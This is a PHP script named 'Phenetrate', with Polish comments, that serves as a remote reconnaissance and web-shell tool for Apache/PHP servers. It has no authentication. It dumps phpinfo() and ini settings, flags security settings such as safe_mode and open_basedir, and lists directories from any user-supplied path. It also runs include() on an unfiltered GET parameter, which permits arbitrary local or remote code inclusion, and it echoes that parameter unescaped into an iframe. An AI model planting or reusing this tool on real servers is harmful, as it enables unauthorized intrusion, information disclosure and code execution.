<?
/*
 * Copyright (C) 2004   Robert Nowotniak <rob@submarine.ath.cx>
 *
 *
 * Skrypt do szybkiego rozpoznania konfiguracji zdalnego serwera Apache + PHP
 * Szybki dostęp do phpinfo(), ini_get_all(), kluczowych ustawień i zwiedzania
 * systemu plików.
 *
 *
 */

error_reporting(E_ALL);
ini_set('display_errors''1');
ini_set('log_errors''0');
ini_set('track_errors''1');

$ten_skrypt basename($_SERVER['PHP_SELF']);

$MENU = array('main' => 'Początek',
    
'phpinfo' => 'phpinfo()',
    
'ini_get_all' => 'ini_get_all()',
    
'ustawienia' => 'Istotne ustawienia',
    
'filesystem' => 'System plików',
    
'uruchom' => 'Uruchom'
);


$WAZNE_OPCJE = array(
    
'allow_url_fopen',
    
'auto_prepend_file',
    
'auto_append_file',
    
'disable_classes',
    
'disable_functions',
    
'display_errors',
    
'display_startup_errors',
    
'doc_root',
    
'enable_dl',
    
'engine',
    
'error_reporting',
    
'expose_php',
    
'file_uploads',
    
'include_path',
    
'log_errors',
    
'magic_quotes_gpc',
    
'open_basedir',
    
'post_max_size',
    
'register_globals',
    
'safe_mode',
    
'safe_mode_exec_dir',
    
'safe_mode_gid',
    
'safe_mode_include_dir',
    
'safe_mode_protected_env_vars',
    
'sendmail_path',
    
'session.save_handler',
    
'SMTP',
    
'upload_tmp_dir');


function 
HTML_Header()
{
    echo <<<EOD
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML>
    <HEAD>
        <META HTTP-EQUIV="Content-type" CONTENT="text/html; charset=iso-8859-2">
        <TITLE>Phenetrate</TITLE>
        <STYLE>
            <!--
            BODY {
                max-width: 800px;
                margin: 10px auto;
                padding: 0px 5%;
                font-size: small;
                font-family: sans-serif;
                text-align: left;
            }
            PRE {
                font-family: Courier, monospace;
            }
            TR.zmienione {
                background-color: rgb(210, 210, 255);
            }
            TD.wazne {
                border: 2px solid red;
            }
            -->
        </STYLE>
    </HEAD>
EOD;
}

function 
Ramka_Menu()
{
    global 
$MENU;

    
HTML_Header();

    echo 
"    <BODY STYLE=\"text-align: center\">\n";

    foreach (
$MENU as $k => $w)
        echo 
"<A TARGET=\"strona\" HREF=\"?p=$k\">$w</A>&nbsp;&nbsp;&nbsp;";

    echo 
"    </BODY>\n";
    echo 
"</HTML>\n";
}

function 
Strona_Phenetrate()
{
    global 
$ten_skrypt;

    
HTML_Header();
    echo 
"<FRAMESET ROWS=\"40,*\" BORDER=\"3\" FRAMEBORDER=\"1\" FRAMESPACING=\"0\">\n";
    echo 
"    <FRAME NAME=\"menu\" NORESIZE FRAMEBORDER=\"1\" SRC=\"$ten_skrypt?p=menu\">\n";
    echo 
"    <FRAME NAME=\"strona\" NORESIZE FRAMEBORDER=\"1\" SRC=\"$ten_skrypt?p=main\">\n";
    echo 
"    <NOFRAMES>Przeglądarka nie obsługuje ramek</NOFRAMES>\n";
    echo 
"</FRAMESET>\n";
    echo 
"</HTML>\n";
}

function 
Strona_main()
{
    
HTML_Header();
    echo 
"    <BODY>\n";

    echo 
"    <H1>Phenetrate</H1>\n";
    
    
$system = @php_uname();
    if (! 
$system)
        
$system $php_errormsg;
    
$myuid getmyuid();
    if (! 
$myuid)
        
$system $php_errormsg;
    
$current_user get_current_user();
    if (! 
$current_user)
        
$current_user $php_errormsg;
    
$sapi php_sapi_name();
    if (! 
$sapi)
        
$sapi $php_errormsg;
    
$basedir ini_get('open_basedir');
    if (! 
$basedir)
        
$basedir $php_errormsg;
    
$safemode ini_get('safe_mode');
    if (! 
$safemode)
        
$safemode $php_errormsg;

    echo 
"<B>System</B>: $system";
    echo 
"<BR>";
    echo 
"<B>UID właściciela skryptu</B>: $myuid";
    echo 
"<BR>";
    echo 
"<B>Właściciel skryptu</B>: $current_user";
    echo 
"<BR>";
    echo 
"<B>Interfejs SAPI</B>: $sapi";
    echo 
"<BR>";
    echo 
"<B>Ścieżka skryptu</B>: " $_SERVER["SCRIPT_FILENAME"];
    echo 
"<BR>";
    echo 
"<B>open_basedir</B>: " $basedir;
    echo 
"<BR>";
    echo 
"<B>safe_mode</B>: " $safemode;
    echo 
"<BR>";
    echo 
"<B>safe_mode_exec_dir</B>: " ini_get('safe_mode_exec_dir');
    echo 
"<BR>";
    echo 
"<B>Dodatkowe pliki inicjalizacyjne</B>: " php_ini_scanned_files();
    echo 
"<BR>";
    echo 
"<B>Działające moduły</B>: " implode(', 'get_loaded_extensions());

    echo 
"    </BODY>\n";
    echo 
"</HTML>\n";
}


function 
Strona_phpinfo()
{
    
HTML_Header();
    echo 
"    <BODY>\n";

    
phpinfo();

    echo 
"    </BODY>\n";
    echo 
"</HTML>\n";
}

function 
Strona_Filesystem($plik '.')
{
    global 
$ten_skrypt;

    
HTML_Header();
    echo 
"    <BODY>\n";

    echo 
"<FORM METHOD=GET ACTION=\"$ten_skrypt\">\n";
    echo 
"<INPUT NAME=\"f\" VALUE=\"" htmlspecialchars($plik) . "\">\n";
    echo <<<EOD
<INPUT TYPE="hidden" NAME="p" VALUE="filesystem">
<INPUT TYPE=submit VALUE="Przejdź do katalogu">
</FORM>
EOD;
    echo 
"(open_basedir: " ini_get('open_basedir') . ')';

    echo 
"<HR>";
    echo 
"<PRE>";

    if ((
$h = @opendir($plik))) {
        while (
false !== ($entry readdir($h))) {
            
$st = @lstat($plik '/' $entry);
            if (! 
$st) {
                
printf("%50s     %s\n"$entry$php_errormsg);
                continue;
            }

                if (
$st[2] & 0010000$modebuf 'p';
            elseif (
$st[2] & 0020000$modebuf 'c';
            elseif (
$st[2] & 0040000$modebuf 'd';
            elseif (
$st[2] & 0060000$modebuf 'b';
            elseif (
$st[2] & 0100000$modebuf '-';
            elseif (
$st[2] & 0120000$modebuf 'l';
            elseif (
$st[2] & 0140000$modebuf 's';
            else 
$modebuf '?';

            
$modebuf substr_replace($modebuf$st[2] & 00400 'r' '-'11);
            
$modebuf substr_replace($modebuf$st[2] & 00200 'w' '-'21);
            
$modebuf substr_replace($modebuf$st[2] & 00100 'x' '-'31);
            
$modebuf substr_replace($modebuf$st[2] & 00040 'r' '-'41);
            
$modebuf substr_replace($modebuf$st[2] & 00020 'w' '-'51);
            
$modebuf substr_replace($modebuf$st[2] & 00010 'x' '-'61);
            
$modebuf substr_replace($modebuf$st[2] & 00004 'r' '-'71);
            
$modebuf substr_replace($modebuf$st[2] & 00002 'w' '-'81);
            
$modebuf substr_replace($modebuf$st[2] & 00001 'x' '-'91);

            if (
$st[2] & 004000)
                
$modebuf substr_replace($modebuf$st[2] & 00100 's' 'S'31);
            if (
$st[2] & 002000)
                
$modebuf substr_replace($modebuf$st[2] & 00010 's' 'S'61);
            if (
$st[2] & 001000)
                
$modebuf substr_replace($modebuf$st[2] & 00001 't' 'T'91);

            
$czas strftime("%Y-%m-%d %H:%M"$st[10]);

            
printf("%7s %2d %5d %5d %9d %16s "$modebuf$st[3], $st[4], $st[5], $st[7], $czas);
            if (
is_dir($plik '/' $entry)) {
                echo 
"<A HREF=\"" .basename($_SERVER['PHP_SELF']). "?p=filesystem&amp;f=$plik/" htmlspecialchars($entry) . "\">";
                echo 
htmlspecialchars($entry);
                echo 
"</A>";
            } else
                echo 
htmlspecialchars($entry);
            
printf("\n");
        }
        
closedir($h);
    } else
        echo 
"Nie można wylistować $plik ($php_errormsg)\n";

    echo 
"</PRE>";

    echo 
"    </BODY>\n";
    echo 
"</HTML>\n";
}

function 
Strona_Uruchom()
{
    global 
$ten_skrypt;

    
HTML_Header();
    echo 
"    <BODY>\n";
    echo 
"    Wybierz skrypt PHP do uruchomienia.\n";

    echo 
"    <BR>\n";

    echo 
"<FORM METHOD=GET ACTION=\"$ten_skrypt\">\n";
echo <<<EOD
Include <INPUT NAME="skrypt" SIZE="50">
<INPUT TYPE=submit VALUE="Uruchom">
<INPUT TYPE="hidden" NAME="p" VALUE="uruchom">
</FORM>
EOD;

    echo 
"    (include_path: ".ini_get('include_path').")\n";
    echo 
"    (allow_url_fopen: ".ini_get('allow_url_fopen').")\n";
    echo 
"<HR>";

    if (isset(
$_GET['skrypt'])) {
        echo 
"Rezultat:";
        echo 
"<IFRAME SRC=\"$ten_skrypt?p=run&skrypt=$_GET[skrypt]\" WIDTH=\"100%\" HEIGHT=\"400px\">Przeglądarka nie obsługuje ramek</IFRAME>";
    }
    echo 
"    </BODY>\n";
    echo 
"</HTML>\n";
}

function 
Strona_ini_get_all($tylko_istotne false)
{
    global 
$WAZNE_OPCJE;

    
HTML_Header();
    echo 
"    <BODY>\n";

    
$conf_options ini_get_all();

echo <<<EOD
<TABLE BORDER>
<THEAD>
<TR>
<TH>Nazwa</TH><TH>Wartość globalna</TH><TH>Wartość lokalna</TH><TH>Dostęp</TH>
</TR>
</THEAD>
EOD;

    
$conf_options['url_rewriter.tags']['global_value'] = 
        
preg_replace('/,/'', '$conf_options['url_rewriter.tags']['global_value']);
    
$conf_options['url_rewriter.tags']['local_value'] = 
        
preg_replace('/,/'', '$conf_options['url_rewriter.tags']['local_value']);

    foreach (
$conf_options as $k => $w) {
        
$class '';
        
$td_class '';

        if (
in_array($k$WAZNE_OPCJE))
            
$td_class " CLASS=wazne";
        if (
$w['global_value'] != $w['local_value'])
            
$class ' CLASS=zmienione';

        if (
$tylko_istotne && ! ($td_class || $class))
            continue;

        
$w['dostep'] = '';
        if (
$w['access'] & 1)
            
$w['dostep'] = 'USER';
        if (
$w['access'] & 2)
            
$w['dostep'] .= ' PERDIR';
        if (
$w['access'] & 4)
            
$w['dostep'] .= ' SYSTEM';
        if (
$w['access'] & 7)
            
$w['dostep'] .= ' ALL';


        echo 
"<TR$class>\n";
        echo 
"<TD$td_class>".htmlspecialchars($k)."</TD>"
            
."<TD$td_class>".htmlspecialchars($w['global_value']) . "</TD>"
            
."<TD$td_class>".htmlspecialchars($w['local_value']) . "</TD>"
            
."<TD$td_class>".htmlspecialchars($w['dostep'])."</TD>\n";
        echo 
"</TR>\n";
    }
    echo 
"</TABLE>";

    echo 
"    </BODY>\n";
    echo 
"</HTML>\n";
}

if (!isset(
$_GET['p']))
    
Strona_Phenetrate();
else {
    
$p $_GET['p'];
    if (
$p == 'menu')
        
Ramka_Menu();
    elseif (
$p == 'main')
        
Strona_main();
    elseif (
$p == 'phpinfo')
        
Strona_phpinfo();
    elseif (
$p == 'ini_get_all')
        
Strona_ini_get_all();
    elseif (
$p == 'ustawienia')
        
Strona_ini_get_all(True);
    elseif (
$p == 'uruchom')
        
Strona_Uruchom();
    elseif (
$p == 'run' && isset($_GET['skrypt'])) {
        include(
$_GET['skrypt']);
    }
    elseif (
$p == 'filesystem') {
        if (isset(
$_GET['f']))
            
Strona_Filesystem($_GET['f']);
        else
            
Strona_Filesystem('.');
    }
}

?>